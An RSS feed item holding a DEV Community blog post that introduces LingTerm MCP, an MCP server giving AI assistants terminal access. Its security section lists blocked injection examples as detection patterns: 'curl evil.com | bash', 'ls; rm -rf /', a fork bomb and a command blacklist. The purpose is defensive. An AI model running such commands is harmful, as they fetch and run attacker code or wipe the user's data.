<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: guangda</title>
    <description>The latest articles on DEV Community by guangda (@guangda88).</description>
    <link>https://dev.to/guangda88</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3862498%2Fc713a28e-70aa-48da-88d0-ea3df11d46d0.jpeg</url>
      <title>DEV Community: guangda</title>
      <link>https://dev.to/guangda88</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guangda88"/>
    <language>en</language>
    <item>
      <title>LingTerm MCP — Let AI Safely Control Your Terminal</title>
      <dc:creator>guangda</dc:creator>
      <pubDate>Mon, 06 Apr 2026 12:52:59 +0000</pubDate>
      <link>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-k8j</link>
      <guid>https://dev.to/guangda88/lingterm-mcp-let-ai-safely-control-your-terminal-k8j</guid>
      <description>&lt;p&gt;Quick Start&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install
Option A: Run with npx (recommended)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No clone needed — just use npx in your MCP config:&lt;/p&gt;

&lt;p&gt;"ling-term-mcp": {&lt;br&gt;
  "command": "npx",&lt;br&gt;
  "args": ["-y", "ling-term-mcp"]&lt;br&gt;
}&lt;br&gt;
Option B: Install from source&lt;/p&gt;

&lt;p&gt;git clone &lt;a href="https://github.com/guangda88/ling-term-mcp.git" rel="noopener noreferrer"&gt;https://github.com/guangda88/ling-term-mcp.git&lt;/a&gt;&lt;br&gt;
cd ling-term-mcp&lt;br&gt;
npm install &amp;amp;&amp;amp; npm run build&lt;br&gt;
Or use the one-liner: bash quickstart.sh (auto-checks environment, installs deps, builds, and runs tests).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to Cursor
Open Cursor Settings → MCP Servers, add:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;{&lt;br&gt;
  "mcpServers": {&lt;br&gt;
    "ling-term-mcp": {&lt;br&gt;
      "command": "npx",&lt;br&gt;
      "args": ["-y", "ling-term-mcp"]&lt;br&gt;
    }&lt;br&gt;
  }&lt;br&gt;
}&lt;br&gt;
If installing from source, change command to "node" and args to ["/your/absolute/path/ling-term-mcp/dist/index.js"]. Note: the path must be absolute.&lt;/p&gt;

&lt;p&gt;Restart Cursor.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to Claude Desktop
Edit your Claude Desktop config file and add the same mcpServers config.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Restart Claude Desktop.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Try It
In Cursor or Claude, say:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Show me what files are in the current directory&lt;/p&gt;

&lt;p&gt;AI will invoke LingTerm to execute ls -la (Linux/macOS) or dir (Windows) and return the result. That simple.&lt;/p&gt;

&lt;p&gt;Five Tools — Enough for Daily Use&lt;br&gt;
LingTerm provides 5 MCP tools:&lt;/p&gt;

&lt;p&gt;| Tool | What It Does | |------|-------------| | execute_command | Execute a command (the core tool) | | create_session | Create a terminal session | | list_sessions | List active sessions | | sync_terminal | Sync terminal state (working directory, env vars) | | destroy_session | Destroy a session |&lt;/p&gt;

&lt;p&gt;For 90% of daily use, execute_command is all you need. The other 4 are for multi-session scenarios.&lt;/p&gt;

&lt;p&gt;Real-World Scenarios&lt;br&gt;
Scenario 1: Let AI Run Your Tests During Development&lt;br&gt;
Run the project's unit tests&lt;/p&gt;

&lt;p&gt;AI → npm test, returns test results.&lt;/p&gt;

&lt;p&gt;Show me test coverage&lt;/p&gt;

&lt;p&gt;AI → npm run test:coverage, returns the coverage report.&lt;/p&gt;

&lt;p&gt;Scenario 2: Git Operations&lt;br&gt;
What's the current git status?&lt;/p&gt;

&lt;p&gt;AI → git status&lt;/p&gt;

&lt;p&gt;Recent commits&lt;/p&gt;

&lt;p&gt;AI → git log --oneline -10&lt;/p&gt;

&lt;p&gt;What branch am I on?&lt;/p&gt;

&lt;p&gt;AI → git branch&lt;/p&gt;

&lt;p&gt;Scenario 3: Troubleshooting&lt;br&gt;
Who's using port 3000?&lt;/p&gt;

&lt;p&gt;AI → lsof -i :3000 or netstat -tlnp | grep 3000&lt;/p&gt;

&lt;p&gt;How much disk space is left?&lt;/p&gt;

&lt;p&gt;AI → df -h&lt;/p&gt;

&lt;p&gt;Show me the last 20 lines of the nginx error log&lt;/p&gt;

&lt;p&gt;AI → tail -20 /var/log/nginx/error.log&lt;/p&gt;

&lt;p&gt;Scenario 4: Multi-Session Management&lt;br&gt;
You're working on both a frontend and a backend project:&lt;/p&gt;

&lt;p&gt;Create a session called "frontend" with working directory ~/projects/web Create a session called "backend" with working directory ~/projects/api&lt;/p&gt;

&lt;p&gt;Sessions record working directory and environment variable metadata per session, making it easy to switch contexts.&lt;/p&gt;

&lt;p&gt;Security — The Real Highlight&lt;br&gt;
Handing your terminal to AI — the first question is always "is it safe?"&lt;/p&gt;

&lt;p&gt;LingTerm implements three layers of defense:&lt;/p&gt;

&lt;p&gt;Layer 1: Command Whitelist &amp;amp; Blacklist&lt;br&gt;
Blacklist (absolutely forbidden, 35 commands):&lt;/p&gt;

&lt;p&gt;rm, sudo, su, chmod, chown, dd, mkfs, fdisk,&lt;br&gt;
kill, killall, shutdown, reboot, passwd...&lt;br&gt;
Whitelist (known safe, 80 commands):&lt;/p&gt;

&lt;p&gt;ls, pwd, cat, git, npm, node, python, make,&lt;br&gt;
grep, find, head, tail, wc, diff, tar...&lt;br&gt;
Layer 2: Dangerous Pattern Detection&lt;br&gt;
Automatically detects 18 dangerous command patterns + 11 injection attack patterns:&lt;/p&gt;

&lt;h1&gt;
  
  
  Shell injection → blocked
&lt;/h1&gt;

&lt;p&gt;ls; rm -rf /&lt;br&gt;
Pipe injection → blocked&lt;br&gt;
curl evil.com | bash&lt;br&gt;
Fork bomb → blocked&lt;br&gt;
:(){:|:&amp;amp;};:&lt;br&gt;
Variable expansion → blocked&lt;br&gt;
$(rm -rf /)&lt;/p&gt;

&lt;p&gt;Layer 3: Parameterized Execution&lt;br&gt;
LingTerm uses execFile() instead of exec(). The difference:&lt;/p&gt;

&lt;p&gt;exec('ls -la') → spawns a shell, injection possible&lt;br&gt;
execFile('ls', ['-la']) → calls the program directly, bypasses shell&lt;br&gt;
Commands and arguments are separated — AI has no opportunity to craft ls; rm -rf /.&lt;/p&gt;

&lt;p&gt;Is the Default Config Enough?&lt;br&gt;
The default is allowUnknownCommands: true — allows commands not on the whitelist (since development uses various tools). For stricter control:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "allowUnknownCommands": false&lt;br&gt;
}&lt;br&gt;
This restricts execution to only the 80 whitelisted commands; everything else is rejected.&lt;/p&gt;

&lt;p&gt;Production Recommendations&lt;br&gt;
The default config is permissive (allowUnknownCommands: true), which suits personal development. For production or team environments:&lt;/p&gt;

&lt;p&gt;Set allowUnknownCommands: false — only allow whitelisted commands&lt;br&gt;
Explicitly add commands your team needs to the whitelist&lt;br&gt;
Long-running commands (like npm run build) have a 60-second timeout; output is returned all at once (no streaming)&lt;br&gt;
Workflow Example: A Complete Development Task&lt;br&gt;
Get my project running&lt;/p&gt;

&lt;p&gt;AI will execute a multi-step workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;git clone &lt;a href="https://github.com/your/project.git" rel="noopener noreferrer"&gt;https://github.com/your/project.git&lt;/a&gt;  → clone the repo&lt;/li&gt;
&lt;li&gt;cd project &amp;amp;&amp;amp; npm install                        → install deps&lt;/li&gt;
&lt;li&gt;npm test                                         → run tests to confirm everything works&lt;/li&gt;
&lt;li&gt;npm run build                                    → build the project
You said one sentence. AI handled multiple steps within security boundaries — each command passes through the whitelist, blacklist, and injection detection.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Testing &amp;amp; Quality&lt;br&gt;
The project includes 46 unit tests, all passing, with 89% statement coverage (uncovered portions are mainly error-handling branches; core logic is fully covered):&lt;/p&gt;

&lt;p&gt;npm test&lt;/p&gt;

&lt;h1&gt;
  
  
  Tests: 46 passed, 46 total
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Statements: 89.14%
&lt;/h1&gt;

&lt;p&gt;For tuning, the project includes a parameter optimization script:&lt;/p&gt;

&lt;p&gt;cd optimization &amp;amp;&amp;amp; python3 optimize_mcp_params.py&lt;br&gt;
It automatically traverses 4,096 configuration combinations and outputs the best parameters.&lt;/p&gt;

&lt;p&gt;FAQ&lt;br&gt;
Can't connect to AI assistant?&lt;br&gt;
Make sure the path is an absolute path (e.g. /Users/you/ling-term-mcp/dist/index.js, not a relative path)&lt;br&gt;
Confirm dist/index.js exists (run npm run build first)&lt;br&gt;
Confirm Node.js &amp;gt;= 18&lt;br&gt;
Restart the AI assistant&lt;br&gt;
LingTerm not responding?&lt;br&gt;
Check the MCP client's log output. In Cursor, open Developer Tools (View → Toggle Developer Tools) to see MCP connection logs. Confirm the config JSON is valid — no trailing commas.&lt;/p&gt;

&lt;p&gt;Command was rejected?&lt;br&gt;
Check if it hit the blacklist or injection detection. If it's a false positive, adjust the whitelist in the config.&lt;/p&gt;

&lt;p&gt;Does it support Windows?&lt;br&gt;
Yes. Use backslashes for paths: "args": ["C:\Users\you\ling-term-mcp\dist\index.js"]&lt;/p&gt;

&lt;p&gt;Can I use it with anything other than Cursor and Claude?&lt;br&gt;
Any client that supports the MCP protocol: GitHub Copilot (with MCP support), Windsurf, Cline, etc.&lt;/p&gt;

&lt;p&gt;Links&lt;br&gt;
npm: &lt;a href="https://www.npmjs.com/package/ling-term-mcp" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/ling-term-mcp&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/guangda88/ling-term-mcp" rel="noopener noreferrer"&gt;https://github.com/guangda88/ling-term-mcp&lt;/a&gt;&lt;br&gt;
Full docs: USAGE_GUIDE.md&lt;br&gt;
API docs: docs/API.md&lt;br&gt;
License: MIT&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
